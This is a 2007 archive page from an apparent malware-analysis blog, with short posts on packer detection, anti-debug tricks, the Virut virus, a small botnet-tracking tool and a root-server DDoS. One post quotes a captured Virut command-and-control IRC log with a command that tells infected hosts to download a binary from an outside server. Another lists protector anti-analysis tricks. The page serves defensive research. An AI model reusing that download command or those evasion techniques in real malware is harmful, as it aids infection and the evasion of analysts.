Archive for February, 2007

Signature detection and generation

Wednesday, February 28th, 2007

Usually when dealing with unknow malware it’s interesting to know if there are any packers / protectors used in the malware. For a seasoned malware analyst it’s easy to spot whether any of those are present or not. But even the best analyst can’t outright say what the actual packer / protector is on every sample. There are some publicly available signature scanners, with PEiD being the most widely known.

(more…)

Avoiding debugger detection

Sunday, February 25th, 2007

It’s quite common to run into malicious programs (malware) that deploy various methods to detect debuggers. It’s good to be aware what can be thrown on your face when you’re analyzing or unpacking a malware. I’ll list a few here, and some ways to circumvent them.

(more…)

Bottrackers

Thursday, February 22nd, 2007

I was recently creating a lightweight program to track botnet update commands. Currently it can connect to an IRC server, join a channel there and monitor the update commands. Every time it sees a certain update command it gives me a nice popup on the URL.

Originally, the program was 4096 bytes long, and I got interested on how small I can make it.

Currently the size is 2048 bytes, and if I have more time I’ll try to shave a few bytes off of it ;)

Quite a small for an IRC bot, eh?

Update (24.2.2007, 00:10 GMT+2):

The size is now 1639 bytes :)

The saga of Virut continues

Tuesday, February 20th, 2007

I decided to poke around Virut a bit more. I followed the IRC trail, and spotted the following:

USER u394876 . . :_
NICK ssajvgia
JOIN &virtu
:ssajvgia!~u394876@xxx.xxx.xx.xxx JOIN :&virtu
:* PRIVMSG ssajvgia :!get http://www.ircer.pl:XX/XX.gif

So, what we have here is the C&C server at proxima.ircgalaxy.pl commanding the new infectees to download a binary from www.ircer.pl

(more…)

Jumpin’ Jack

Sunday, February 18th, 2007

I ran into an unknown protector few days ago. The main protection in it is boredom: it jumps around and around for hundreds of time, and few times in between executing junk code. It does have some anti-debug and anti-analysis tricks, but the fact that I bypassed all the protections manually in under 15 mins tells a lot of the quality. I reckon it’s been done by some poor botherder somewhere who is now being ’sooooo l337′. Main tricks in the protector were:

  • Few xor decrypts
  • IsDebuggerPresent calls
  • CheckRemoteDebuggerPresent calls
  • FindWindow calls searching for OllyDbg
  • The old CreateFileA trick on \\.\NTICE
  • Several timing checks using rdtsc

OllyDbg first refused to debug the file, and when I took a look at the PE header it was quite obvious why :)
The number of directory entries was set to 2B4ADD80h , instead of the normal 10. After manually fixing the headers, the file was ready to receive some gentle love and care from OllyDbg.

If you run into any interesting samples regarding packers or malwares, you can send samples in a password protected zip to samples_at_teamfurry_dot_com

——————————–

Update 11.3.2007:

The packer in question is something called AlexProtector :)

Who owns your homerouter?

Thursday, February 15th, 2007

A nice little paper describing how to ‘pwn’ home routers with default passwords through evil javascript :)

The paper is here, and the news article on it here.

Swedes to listen on the whole intarweb traffic?

Thursday, February 15th, 2007

The original article is in swedish, sorry :) Basically, they are trying to push through a law that would allow the FRA (The local military intelligence) to listen on all internet traffic going through Swedish borders. Will be interesting to see how it falls through.

Under the Hood: Virut

Thursday, February 15th, 2007

Virut is a weird freak amongst malware. It’s a file infecting virus with IRC capabilities. It doesn’t use exploits to spread, but rather relies on filesharing by infecting various .exe and .scr files. (more…)

DNS root servers under attack

Tuesday, February 6th, 2007

Few of the DNS root servers have been under a DDOS attack since 6.2.2007 10:00 UTC.

g.root-servers.net and l.root-servers.net are taking the biggest hit, with few other servers either are not targeted or have not seen too much traffic.

The current status can be seen here or here.

PS. Today is the “Safer Internet Day” ;)

Unpacking PolyCryptPE

Tuesday, February 6th, 2007

As the name hints, PolycryptPE is a polymorphic executable packer that was made by JLabSoftware, but has since been dropped from development. JLabSoftware had some heated conversations since at least the anti-virus vendor Kaspersky flagged every file packed with PolyCryptPE. Anyway, PolyCryptPE deploys some nice stuff like File locking, ApiHooking and some inlined anti-debug and anti-dump stuff.

(more…)


InspectorWordpress has prevented 2 attacks.